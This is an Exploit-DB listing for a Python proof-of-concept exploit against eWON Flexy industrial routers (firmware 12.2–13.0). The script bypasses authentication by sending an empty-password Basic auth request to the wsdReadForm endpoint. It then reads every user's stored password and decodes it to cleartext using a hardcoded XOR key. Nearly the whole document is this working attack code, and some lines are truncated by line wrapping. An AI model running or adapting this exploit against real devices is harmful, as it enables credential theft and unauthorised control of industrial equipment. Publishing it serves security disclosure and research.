eWON Flexy - Authentication Bypass

EDB-ID:
47380

CVE:
N/A

EDB Verified: ✓

Author:
PHOTUBIAS

Type:
WEBAPPS

Exploit: / {}

Platform:
HARDWARE

Date:
2019-09-11

Vulnerable App:

```
#!/usr/bin/env python
'''
    # Exploit Title: eWON v13.0 Authentication Bypass
    # Date: 2018-10-12
    # Exploit Author: Photubias – tijl[dot]Deneut[at]Howest[dot]be for
www.ic4.be
    # Vendor Advisory: [1]
https://websupport.ewon.biz/support/news/support/ewon-security-enhancement-
131s0-0
    #                  [2]
https://websupport.ewon.biz/support/news/support/ewon-security-
vulnerability
    # Vendor Homepage: https://www.ewon.biz
    # Version: eWon Firmware 12.2 to 13.0
    # Tested on: eWon Flexy with Firmware 13.0s0

    Copyright 2019 Photubias(c)

        This program is free software: you can redistribute it and/or
modify
        it under the terms of the GNU General Public License as published
by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see
<http://www.gnu.org/licenses/>.

        File name eWON-Flewy-Pwn.py
        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

        This script will perform retrieval of clear text credentials for an
eWON Flexy router
         Tested on the eWON Flexy 201 with Firmware 13.0s0
         Only requires a valid username (default = adm) and
         this user must have the Rights 'View IO' & 'Change Configuration'

        It combines two vulnerabilities: authentication bypass (fixed in
13.1s0)
          and a weak password encryption, allowing cleartext password
retrievel for all users (fixed in 13.3s0)
'''
username = 'adm'

import urllib2,urllib,base64,binascii,os

def decode(encpass):
    xorString = "6414FE6F4C964746900208FC9B3904963A2F61"
    def convertPass(password):
        if (len(password)/2) > 19:
            print('Error, password can not exceed 19 characters')
            exit()
        return hexxor(password, xorString[:len(password)])
    def hexxor(a, b):
        return "".join(["%x" % (int(x,16) ^ int(y,16)) for (x, y) in zip(a,
b)])
    if encpass.startswith('#_'):
        encpass = encpass.split('_')[2]
    coded = base64.b64decode(encpass)
    codedhex = binascii.hexlify(coded)[:-4]
    clearpass = binascii.unhexlify(convertPass(codedhex))
```

```
    print('Decoded password: ' + clearpass)

def getUserData(userid, strIP):
    postwsdlist =
'["inf_HasJVM","usr_FirstName|1","usr_LastName|1","usr_Login|1","usr_Password
    postwsdlist = postwsdlist.replace('|1','|'+str(userid))
    postdata = {'wsdList' : postwsdlist}
    b64auth = base64.b64encode(username+':').replace('=','')
    result =
urllib2.urlopen(urllib2.Request('http://'+strIP+'/wrcgi.bin/wsdReadForm',data
,headers={'Authorization' : ' Basic '+b64auth})).read()
    resultarr = result.split('","')
    if len(resultarr) == 20:
        fname = str(resultarr[1])
        lname = str(resultarr[2])
        usern = str(resultarr[3])
        if len(usern) == 0:
            return True
        encpassword = resultarr[4]
        print('Decoding pass for user: '+usern+' ('+fname+' '+lname+') ')
        decode(encpassword)
        print('---')
        return True
    else:
        return True

strIP = raw_input('Please enter an IP [10.0.0.53]: ')
if strIP == '': strIP = '10.0.0.53'
print('---')

for i in range(20):
    if not getUserData(i, strIP):
        print('### That\'s all folks ;-) ###')
        raw_input()
        exit(0)

raw_input('All Done')
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions